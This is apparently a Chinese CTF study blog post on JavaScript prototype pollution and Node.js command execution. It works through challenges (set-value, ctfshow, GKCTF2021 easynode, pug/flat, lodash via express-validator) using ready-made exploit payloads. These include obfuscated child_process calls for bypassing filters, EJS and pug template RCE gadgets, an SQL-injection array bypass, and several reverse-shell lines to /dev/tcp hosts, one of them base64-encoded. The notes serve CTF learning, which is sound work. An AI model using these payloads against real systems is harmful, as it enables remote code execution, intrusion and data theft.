JavaScript 原型链污染

1.prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

2.一个对象的proto属性,指向这个对象所在的类的prototype属性

1.每个构造函数(constructor)都有一个原型对象(prototype)

2.对象的proto属性,指向类的原型对象prototype

3.JavaScript使用prototype链实现继承机制

我们思考一下,哪些情况下我们可以设置proto的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

1.对象merge

2.对象clone(其实内核就是将待操作的对象merge到一个空对象中)

JSON解析的情况下,proto会被认为是一个真正的“键名”,而不代表“原型”

P神文章

【WEB】nodejs原型链污染 | 狼组安全团队公开知识库 (wgpsec.org)

在 js 中每个函数都有一个 prototype 属性,而每个对象中也有一个 proto 属性用来指向实例对象的原型

而每个原型也都有一个 constructor 属性执行相关联的构造函数,我们就是通过构造函数生成实例化的对象

 


这幅图的原型链是 cat->Cat.protype->Object.prototype->null 

(1)例题:

router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send("You get flag !");
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});   //概括,就是要让Admin[key]=password。

const setFn = require('set-value');
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});

router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("OK");
			console.dir(req.session.knight.__proto__)
        }//这里有一个赋值的操作而且键名键值都可控
    }
});

 payload:

{
    "NewAttributeKey":"__proto__.mypasswd",
    "NewAttributeValue":"111"
}

成功往req.session.knight原链中加入mypasswd:111,之后再传key为mypasswd,由于Admin没有这个键,就会往上找,找到111,获得flag。 


 Nodejs命令执行

1.编码知识

16进制编码:

 console.log("a"=="\x61")

unicode编码

console.log("\u0061" === "a");

base64编码

console.log(Buffer.from("dGVzdA==", "base64").toString)

2.命令执行函数

//执行calc
require("child_process").execSync('calc')
require('child_process').exec('calc');  

console.log(eval("document.cookie")); //执行cookie
console.log("document.cookie");   //输出cookie

 3.命令执行绕过

①编码绕过

require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('calc')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\u0079\u006E\u0063"]('calc')
eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKTsg', 'base64').toString())  //eval中执行的内容为require('child_process').exec('calc'); 

②模板拼接 

require("child_process")[`${`${`exe`}cSync`}`]('calc')

 ③字符拼接

require("child_process")['exe' + 'cSync']('calc')
require("child_process")['exe'.concat('cSync')]('calc')

④换其他函数 

调用某个 可执行文件,在第二个参数传args
require("child_process").execFile("/usr/bin/open", ["calc"])
require("child_process").spawn('open', ["calc"])
require("child_process").spawnSync('open', ["calc"])
require("child_process").execFileSync(open, ["calc"])

 ⑤文件读写

require('fs').writeFileSync('input.txt','sss');

require('fs').writeFile('input.txt','test',(err)+>{})

 

 ctfshow : 

1.猜测题目中的代码为eval('xxx')xxx为我们传入的内容,eval中可以执行js代码,那么就可以执行系统命令了。

方法一:
require('child_process').execSync('ls /').toString()
require('child_process').spawnSync('ls',['/']).stdout.toString()
require('child_process').spawnSync('cat',['f*']).stdout.toString()

方法二:
require('fs').readFileSync('/app/routes/index.js','utf-8')#这个可以读取文件

require('fs').readdirSync('./')  //列出当前目录下的文件
require('fs').readFileSync('fl001g.txt','utf-8')

2.过滤exe ,可以用[]代替. 用‘’绕过

payload: %2B为加号
    require('child_process')['e'%2b'xecSync']('cat f*').toString()

 3.JS弱比较

 

 

var express = require('express');
var router = express.Router();
var crypto = require('crypto');
 
function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}
 
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});
 
module.exports = router;
payload:a[x]=1&b[x]=2
        a[]=1&b[]=1
        a[a]=1&b[a]=2
        a[1]=1&b=1
1:解释
a={'':'1'}
b={'':'2'}
const c = [1];
const d = [2];
 
console.log(a+"flag")
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")

//回显
[object Object]flag
[object Object]flag
1flag
2flag
2:
a={'a':'1'}
b={'a':'2'}
 
console.log(a+"flag")
console.log(b+"flag")
//回显
[object Object]flag
[object Object]flag
3:
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

4.api:

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的公网ip地址/端口 0>&1\"')"}}

在login路由发包,再用post方法访问/api即可反弹shell,flag在login.js里


ejs 和 jade 污染

1.ejs模板引擎RCE

在 EJS(Embedded JavaScript)模板引 擎中,renderFile() 是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用  。

renderFile() 方法的作用是读取指定的 EJS 模板文件,并将数据填充到模板中生成最终的 HTML 内容。这个方法多用于将动态数据注入到模板中,以生成动态的网页内容

利用条件:使用网页使用ejs模板   并且有renderFile()函数

app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

伪造 opts.escapeFunction 也可以进行 RCE 

{
    "__proto__": {
        "client": 1,
        "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
    }
}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

过滤了__proto__:

{ "constructor": { "prototype": { "client": true, "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /Yupr0m1sing_f1ll4agggXD')" } } }

(1)[GKCTF2021]easynode

const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());

const decode = (str) =>{
    str = str.replace(/\'/g,'\\\'');
    return str;
}

let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})
    

app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })
 

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = "${username}"`;
        
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        
        board = JSON.parse(query[0].board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});
  
app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});


app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql =`select board from board where username = "${username}"`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); 
        
        board = JSON.parse(JSON.stringify(query[0].board));
        for(var key in data){
            var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
            extend({},JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});


app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  


大概看一下,最后我们其实就需要达到 extend 去原型链污染,而且存在 ejs 模板引擎,所以可以RCE,所以就需要获得 token 登录,最后在 /admin 路由进行渲染,打到RCE 

首先要解决的问题就是如何进行admin登录获取token,可以看到在waf中过滤了一些特殊字符,然后却使用slice()进行了拼接,可以使用数组进行绕过。  比如一下例子:

const waf = (str) => {
        blacklist = ['\\', '\^', ')', '(', '\"', '\'']
        blacklist.forEach(element => {
            if (str == element) {
                str = "*";
            }
        });
        return str;
    }
const safeStr = (str) => {
        for (let i = 0; i < str.length; i++) {
            if (waf(str[i]) == "*") {

                str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
            }

        }
        return str;
    }
username=["admin' or 1 #",1,1,1,1,1,1,1,"("]
u = safeStr(username);
console.log(u)


 

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456
/adminDiv
data={"outputFunctionName":"x;console.log(1);process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84aWYxOTg0NTQ3LnppY3AuZnVuLzQ3ODA1IDA+JjEi|base64 -d|bash');x","name":"123"}
然后访问/admin触发rce反弹shell

2.flat可以原型链污染,pug可以模板rce,直接拿POC打:

pug模板rce

 {
    "__proto__.block": {        
        "type": "Text",         
        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
    }
}
const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body);

	if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
		return res.json({
			'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with correct name.'
		});
	}
});

module.exports = router;

 给了./api/submit路由,然后看到pug.compile
稍微修改下payload,需要加上hero,直接使用(这道题反弹shell不成功)

{
    "hero.name":"锐雯",
    "__proto__.block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').execSync('cat /f* > ./static/1.txt')"
    }
}

3.validator

在Node.js中,"validator"是一个常用的数据验证库,用于验证和处理不同类型的数据。它提供了一组方便的函数和方法,用于验证字符串、数字、日期、URL、电子邮件等常见数据类型的有效性。

express-validator中lodash在版本4.17.17以下存在原型链污染漏洞 

payload如下

{
	"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')
 
const app = express()
const port = 9000
 
app.use(express.json())
app.use(express.urlencoded({
    extended: true
}))
 
let info = []
 
const {
    body,
    validationResult
} = require('express-validator')
 
middlewares = [
    body('*').trim(),
    body('password').isLength({ min: 6 }),
]
 
app.use(middlewares)
 
readFile = function (filename) {
	var data = fs.readFileSync(filename)
	return data.toString()
}
 
app.post("/login", (req, res) => {
    console.log(req.body)
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }
 
    if (req.body.password == "D0g3_Yes!!!"){
        console.log(info.system_open)
        if (info.system_open == "yes"){
            const flag = readFile("/flag")
            return res.status(200).send(flag)
        }else{
            return res.status(400).send("The login is successful, but the system is under test and not open...")
        }
    }else{
        return res.status(400).send("Login Fail, Password Wrong!")
    }
})
 
app.get("/", (req, res) => {
    const login_html = readFile(path.join(__dirname, "login.html"))
    return res.status(200).send(login_html)
})
 
app.use(express_static("./"))
 
app.listen(port, () => {
    console.log(`server listening on ${port}`)
})

简单审一下,污染system_open为yes就可以拿flag表单提交个D0g3_Yes!!!

{
    "password":"D0g3_Yes!!!",
    "a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值